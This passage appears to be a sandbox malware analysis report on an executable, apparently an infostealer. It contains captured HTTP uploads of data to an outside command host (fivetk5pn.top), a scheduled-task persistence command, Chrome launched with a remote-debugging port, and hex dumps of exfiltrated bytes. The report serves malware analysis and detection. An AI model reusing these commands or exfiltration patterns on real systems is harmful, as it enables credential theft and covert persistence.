Dec 18, 2024 20:56:57.268282890 CET	2472	OUT	Data Raw: 0b 73 ac e1 63 3c 48 49 fe fd 4d 62 e4 a1 33 16 c8 93 fa 46 36 07 78 17 31 e6 88 74 c3 ce 7d 90 59 7c 42 fd 3d 62 d2 d1 67 73 98 21 84 14 7c 87 e3 3f ae cb 96 01 fa 19 d8 64 b7 1d 2f d8 f0 1e 5c 9e bc d6 59 51 c1 1a 1b ff 7c 60 e4 21 2d 67 8c d6 Data Ascii: sc<HIMb3F6x1t}Y\|B=bgs!\|?d/\YQ\|`!-gMV$B^ (2@O0n?mvva;dR`*A:P}gRUZf3xNRjl@o3.2g0H2WLq^o$jPzCOCUH.l=
Dec 18, 2024 20:56:57.268297911 CET	2472	OUT	Data Raw: 18 91 2d f9 9b b0 93 87 66 eb 64 f7 94 c4 6d 78 2d f6 ca 79 47 f9 68 53 a7 79 62 40 a3 59 b9 ef 87 62 b2 aa b1 6f ce f0 04 aa 0c bf 27 66 66 26 6f 5e cf 2f 3d 55 a9 02 86 61 ca ce c0 08 69 cd e5 5f ac b9 d1 d5 7b 3a 88 90 d6 04 10 9a dc 38 e9 ef Data Ascii: -fdmx-yGhSyb@Ybo'ff&o^/=Uai_{:8 8>-{P0FM`qX})LoOAD3LX!J%&4L'g\6n}H(q3-KNg'o%+d'%0pwG\|zNek+OtcP[
Dec 18, 2024 20:56:57.388190031 CET	9888	OUT	Data Raw: 74 47 bf 14 f2 f6 52 eb 91 33 1a 76 11 59 32 f1 9c 9f a8 cd d7 f7 56 0c 7e 78 c6 fc ce b9 d4 e2 5d 58 99 c1 85 95 21 8c 64 f7 42 14 1a 77 25 1e 65 32 97 8e 6e 19 ea 83 d2 f2 0b d0 d4 a1 f7 5f a4 c9 97 6f 25 2b 1b 42 2c 12 1f c5 2b 08 cc 16 0e de Data Ascii: tGR3vY2V~x]X!dBw%e2n_o%+B,+cfVL3fD.::RyDzKUjY=aE00'v&yoH\|"RXB`qrhqQ!F!nh$u'ZQKL}%XZ]mO}>Ni<
Dec 18, 2024 20:56:57.388231039 CET	2472	OUT	Data Raw: 81 01 57 50 97 c6 10 40 d7 fd d3 c8 91 c3 04 3a 20 f9 28 13 d8 02 ae e3 38 13 73 ff 03 01 19 49 81 b6 e4 3f 5e 07 c3 f5 22 b4 85 57 c8 0d 1a d1 6c aa 3e ac 6d bf e1 de 32 82 ad 2e e8 0a 43 30 88 2d 8c 73 25 9f 5c a2 b0 84 4e ce d3 ed b1 2c 5d 4f Data Ascii: WP@: (8sI?^"Wl>m2.C0-s%\N,]O+VABa:SrcLzRNa9#S#oX/yN-?32HgN4SG\xgyt-jZ?"21.uE6>'J`0);n
Dec 18, 2024 20:56:58.937256098 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 19:56:58 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 25 x-ratelimit-reset: 1734553561 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.3	49838	185.185.71.170	80	7960	C:\Users\user\Desktop\U6mwWZlkzH.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 20:57:05.237320900 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5pn.top Accept: / Content-Length: 26506 Content-Type: multipart/form-data; boundary=------------------------uqnfF1P8ikMz0CjcsmOehm Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 75 71 6e 66 46 31 50 38 69 6b 4d 7a 30 43 6a 63 73 6d 4f 65 68 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 61 66 61 76 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a dc fd 73 9d 5d b3 1d df e4 f4 b5 bc 40 ef 50 4e 8a 6d 7d ce e3 85 a9 86 49 5d 97 d0 6e 1e fa 5a 9b d6 87 06 3a 41 b9 13 54 89 4f 34 84 c6 26 23 3c 73 8f 97 d4 ff 75 a0 4f 84 c1 92 ce 98 88 63 bf 1a 01 6f f8 f1 eb f2 9b d0 92 be 9d fc f5 ee 79 a1 f5 d3 1a 1b bc fd e4 4c b3 0c b0 82 85 e4 f9 71 1e ce 55 c1 16 89 7c ca e0 f0 a9 21 f6 98 99 66 5d c8 31 ca df 5e 6d 82 5d 1b 02 7b 3a 10 ad f6 bd 78 6a d4 a4 57 17 89 ae 3c 75 43 24 8b f7 1c df 76 4f 55 e6 23 06 a9 aa ed ba 79 89 d5 fa 43 d6 dc 50 cc 72 b8 76 c5 5a ad af ae 6d e9 21 c6 [TRUNCATED] Data Ascii: --------------------------uqnfF1P8ikMz0CjcsmOehmContent-Disposition: form-data; name="file"; filename="Rafave.bin"Content-Type: application/octet-streams]@PNm}I]nZ:ATO4&#<suOcoyLqU\|!f]1^m]{:xjW<uC$vOU#yCPrvZm!-\|`NE,\>5W8raz\f&v)\|=P#:,VkMnr!BQc+wXJ,M(\|@Ee])F;If?s pGu{q";\\|39B/ICa;q,/iC^!x1Ks1x\|(G-rLgIvkLHT^k!0l8xY>\|,^HKYQbM%vq%n'X$B-c m\\O@QskR/&8!s6]GSVSlLxc1#} ]a{8O{y.:U(T.Y;3,wu</Fw8/nBt9Qv%Am_.;_Hy@&B*SQZbO@P1$KL<FAmo\iHrtIk<K!0>kz_%<-XYK]4! :Q~K=`d4w [TRUNCATED]
Dec 18, 2024 20:57:05.357108116 CET	4944	OUT	Data Raw: 92 0a 9f bd 45 5b 52 4a ee 15 1d fd 04 c7 f7 3d 50 eb 5b cb e8 2d ec 72 1f 13 71 f4 16 b2 51 80 1f 1f 41 14 6d 37 23 ce 6d 54 85 27 a3 46 fd 43 3d fd a7 23 7f cf 9c 81 b6 76 18 23 1e ff ae 26 85 74 72 e6 04 32 7e 78 33 fd 84 b9 c3 27 c9 67 d8 6f Data Ascii: E[RJ=P[-rqQAm7#mT'FC=#v#&tr2~x3'goe&6d~U]9"p1Wy]4ipud:T+SuIYZxr2XM"%@T:IV1 JzD)6'R3\|1$8%a)OKV>
Dec 18, 2024 20:57:05.357384920 CET	7416	OUT	Data Raw: 9a e0 de e3 e3 97 33 6b cb cf 45 a1 2d 2c 27 b1 6a 0c 99 8b 61 00 65 7c a3 1b 5e e6 bb 6a 10 58 46 cf 2a cd 11 57 9d 95 e2 e8 3e 7a 71 ac 22 40 01 c7 5a c0 9b 5a e6 e6 f2 34 99 dd 16 ab e7 2b 93 16 dd f0 16 7e 17 bd c2 f9 2d cb b8 9d 33 7a 3d 82 Data Ascii: 3kE-,'jae\|^jXFW>zq"@ZZ4+~-3z=/39~])&uHa)`icQ?el\|0f@LFa=nR3_]q;7QBV2!3";Z~pXG:j
Dec 18, 2024 20:57:05.357475042 CET	1967	OUT	Data Raw: 7c 60 41 a1 cd 54 5a ac 8b a1 68 eb 4e 17 a8 f5 c0 46 9b c6 4c e9 d3 ad a9 4e 26 ae b6 06 4e 9b a2 82 d7 6a 3c cf a2 5a 49 0f 27 89 93 04 0e 2f 7a 83 dc b4 b2 a7 8e 8c ba c8 f2 bb 80 8d b4 83 70 96 d6 f1 3b d8 9b f7 10 91 e2 a1 cc 2b 47 f4 6c 3d Data Ascii: \|`ATZhNFLN&Nj<ZI'/zp;+Gl=xXX?z9Guu!}UuhJA>qP.VRi'LP:79P!w'B<Tc+]\)'a76Z8~K3z=
Dec 18, 2024 20:57:06.808092117 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 19:57:06 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 24 x-ratelimit-reset: 1734553561 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.3	49845	185.185.71.170	80	7960	C:\Users\user\Desktop\U6mwWZlkzH.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 20:57:08.084669113 CET	196	OUT	POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1 Host: home.fivetk5pn.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 35 4d 4a 33 32 4f 45 31 4a 6e 54 6f 38 4c 6d 50 31 37 33 34 35 35 31 37 38 38 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "5MJ32OE1JnTo8LmP1734551788", "data": "Done2" }
Dec 18, 2024 20:57:09.671087980 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 19:57:09 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.3	49730	98.85.100.80	443	7960	C:\Users\user\Desktop\U6mwWZlkzH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 19:56:24 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-18 19:56:24 UTC	224	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 19:56:24 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-18 19:56:24 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Target ID:	0
Start time:	14:56:17
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\U6mwWZlkzH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\U6mwWZlkzH.exe"
Imagebase:	0xe40000
File size:	4'441'088 bytes
MD5 hash:	C640A058CDFE8C320E2386C8D67382D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:56:58
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff7c89f0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:56:59
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2300,i,5075374179690166749,1379577814548213124,262144 /prefetch:8
Imagebase:	0x7ff7c89f0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:58:13
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\service123.exe"
Imagebase:	0x520000
File size:	314'617'856 bytes
MD5 hash:	3CC1C5052A82B7C4BC992B0033C9A592
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:58:13
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Imagebase:	0x7ff6158a0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:58:14
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff720030000
File size:	873'472 bytes
MD5 hash:	7366FBEFE66BA0F1F5304F7D6FEF09FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:58:14
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7960 -s 1752
Imagebase:	0x2e0000
File size:	489'328 bytes
MD5 hash:	F5210A4A7E411A1BAD3844586A74B574
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:58:17
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\/service123.exe"
Imagebase:	0x520000
File size:	314'617'856 bytes
MD5 hash:	3CC1C5052A82B7C4BC992B0033C9A592
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:59:02
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\/service123.exe"
Imagebase:	0x520000
File size:	314'617'856 bytes
MD5 hash:	3CC1C5052A82B7C4BC992B0033C9A592
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:00:02
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\/service123.exe"
Imagebase:	0x520000
File size:	314'617'856 bytes
MD5 hash:	3CC1C5052A82B7C4BC992B0033C9A592
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:01:02
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\/service123.exe"
Imagebase:	0x520000
File size:	314'617'856 bytes
MD5 hash:	3CC1C5052A82B7C4BC992B0033C9A592
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:02:02
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\/service123.exe"
Imagebase:	0x520000
File size:	314'617'856 bytes
MD5 hash:	3CC1C5052A82B7C4BC992B0033C9A592
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	61.1%
Total number of Nodes:	72
Total number of Limit Nodes:	3

Executed Functions

Function 0052116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 005211B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00521238
__p__acmdln.MSVCRT ref: 00521261
malloc.MSVCRT ref: 005212EB
strlen.MSVCRT ref: 00521323
malloc.MSVCRT ref: 0052132E
memcpy.MSVCRT ref: 00521344
GetStartupInfoA.KERNEL32 ref: 00521433

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: cb3246f549d069183479ec8d9711f76e9ca9e0d7252b6ef2c64f173b78594c21
Instruction ID: c763ecfb007a2e2bd57b76cd013626425d961642185fcbfd0761749c89654086
Opcode Fuzzy Hash: cb3246f549d069183479ec8d9711f76e9ca9e0d7252b6ef2c64f173b78594c21
Instruction Fuzzy Hash: 78819F71904625CFDB20DF64F88876A7FF1BF67340F10452CE9458B2A1E735A80ADB95

Function 005215B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 005215CD
_exit.MSVCRT ref: 0052161A
_write.MSVCRT ref: 0052166A
_close.MSVCRT ref: 00521679

Strings

CONOUT$, xrefs: 005215C6
@, xrefs: 00528341
terminated, xrefs: 00521640

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 991fad1ac73293baed19856519a335468a469f1c28c50e8a2585a9ad4983dc3c
Instruction ID: 1dedb5dd14522311cf91fc12d9e8acc9ff05020fa2752f7c2bd2ad383a0363e8
Opcode Fuzzy Hash: 991fad1ac73293baed19856519a335468a469f1c28c50e8a2585a9ad4983dc3c
Instruction Fuzzy Hash: 0F4147B09043119FDB10DFB8E84966EBBF4BF96314F04892DE898D7290E734D80ADB56

Function 6CFF14B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 6CFF14CD
_exit.MSVCRT ref: 6CFF151A
_write.MSVCRT ref: 6CFF156A
_close.MSVCRT ref: 6CFF1579

Strings

CONOUT$, xrefs: 6CFF14C6
@, xrefs: 6D0C4AB1
terminated, xrefs: 6CFF1540

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 1d6633e00a5f711a3fe96830702c6efbf4428b82905bd64b49da093b437bf2c0
Instruction ID: cd9c3e66c3d9ec28c0fffa475e06d93e07558e4da60777ee603c00c367c18cdb
Opcode Fuzzy Hash: 1d6633e00a5f711a3fe96830702c6efbf4428b82905bd64b49da093b437bf2c0
Instruction Fuzzy Hash: 0A4125B09083069FEB009FB9D94976EBBF4FB49318F048A2DE8A9D7250E374D445CB56

Function 005281E0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 87
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,0052138E,?,?,00006EA2,0052138E), ref: 00528271
GetProcAddress.KERNEL32 ref: 0052828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,0052138E,?,?,00006EA2,0052138E), ref: 0052829D

Strings

asNszvSwCysKCWmFfmBW, xrefs: 0052827E
dlEmjynrOeqkpoHZeqkpoHZKKOr.dll, xrefs: 0052824A
Failed to get function address. Error code: %d, xrefs: 005282E0

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Failed to get function address. Error code: %d$asNszvSwCysKCWmFfmBW$dlEmjynrOeqkpoHZeqkpoHZKKOr.dll
API String ID: 145871493-1416391684
Opcode ID: 2535f0d8652dabec35bb7b77c690932a8d750740219081433fe40e91ac71a841
Instruction ID: c3327653ff6d2b8b5f5a91d087c0b5b9186905f3857f42b2b83518afa4d687e5
Opcode Fuzzy Hash: 2535f0d8652dabec35bb7b77c690932a8d750740219081433fe40e91ac71a841
Instruction Fuzzy Hash: E1317C76809610DFD710AFB4ED895AABFF0FF96300F008928E44583290EB75D55ADB96

Function 00528230 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 90
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,0052138E,?,?,00006EA2,0052138E), ref: 00528271
GetProcAddress.KERNEL32 ref: 0052828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,0052138E,?,?,00006EA2,0052138E), ref: 0052829D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0052138E,?,?,00006EA2,0052138E), ref: 005282BD
GetLastError.KERNEL32 ref: 005282DA
FreeLibrary.KERNEL32 ref: 005282F3

Strings

Failed to load DLL. Error code: %d, xrefs: 005282C3
asNszvSwCysKCWmFfmBW, xrefs: 0052827E
dlEmjynrOeqkpoHZeqkpoHZKKOr.dll, xrefs: 0052824A

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: Library$ErrorFreeLast$AddressLoadProc
String ID: Failed to load DLL. Error code: %d$asNszvSwCysKCWmFfmBW$dlEmjynrOeqkpoHZeqkpoHZKKOr.dll
API String ID: 1397630947-586631643
Opcode ID: f390f78bf41469dd4f2d11427fe28667b05c04e850bc1aaac24a0c761ba291ae
Instruction ID: d9393ed6496b9787c0d3c06441477ec5246aa31f0431737e976e8fb1de5fbf51
Opcode Fuzzy Hash: f390f78bf41469dd4f2d11427fe28667b05c04e850bc1aaac24a0c761ba291ae
Instruction Fuzzy Hash: B911E176905611DBE710AFB4ED4AAAEBFE0FF97300F008A28D81583190FF31D516DA92

Function 005213C9 Relevance: 12.1, APIs: 8, Instructions: 109
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00521238
__p__acmdln.MSVCRT ref: 00521261
malloc.MSVCRT ref: 005212EB
strlen.MSVCRT ref: 00521323
malloc.MSVCRT ref: 0052132E
memcpy.MSVCRT ref: 00521344
_amsg_exit.MSVCRT ref: 005213EA
_initterm.MSVCRT ref: 0052140C

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2053141405-0
Opcode ID: 17cfdfdd505cdc1e889e46e8bfdab12d30caf875e36776a51c44225d17e8907e
Instruction ID: 2d468362387ae9bee080a9951ed2471b6d6f39e9f5f59cd3da91560974411e88
Opcode Fuzzy Hash: 17cfdfdd505cdc1e889e46e8bfdab12d30caf875e36776a51c44225d17e8907e
Instruction Fuzzy Hash: 23413B74904721CBDB20EF64E88875ABBF0BFA6300F10452DD985972A1E734A84ADB55

Function 005211A3 Relevance: 10.6, APIs: 7, Instructions: 115
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 005211B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00521238
__p__acmdln.MSVCRT ref: 00521261
malloc.MSVCRT ref: 005212EB
strlen.MSVCRT ref: 00521323
malloc.MSVCRT ref: 0052132E
memcpy.MSVCRT ref: 00521344
_amsg_exit.MSVCRT ref: 005213EA
_initterm.MSVCRT ref: 0052140C

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2230096795-0
Opcode ID: 86fd9ab876c850f20274a0baf2ac814cdf89ba5c0d79d2b8e7d129843825275d
Instruction ID: e71279dddc2c868a015ea1f2ee39a3a99e2c8440f07941fa1ca62a86d066da62
Opcode Fuzzy Hash: 86fd9ab876c850f20274a0baf2ac814cdf89ba5c0d79d2b8e7d129843825275d
Instruction Fuzzy Hash: 85412E709047218FDB20EF64E88871E7BF0BF66344F11452DD945973A0E770A84ADB95

Function 00521160 Relevance: 9.1, APIs: 6, Instructions: 131
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 005211B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00521238
__p__acmdln.MSVCRT ref: 00521261
malloc.MSVCRT ref: 005212EB
strlen.MSVCRT ref: 00521323
malloc.MSVCRT ref: 0052132E
memcpy.MSVCRT ref: 00521344
GetStartupInfoA.KERNEL32 ref: 00521433

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
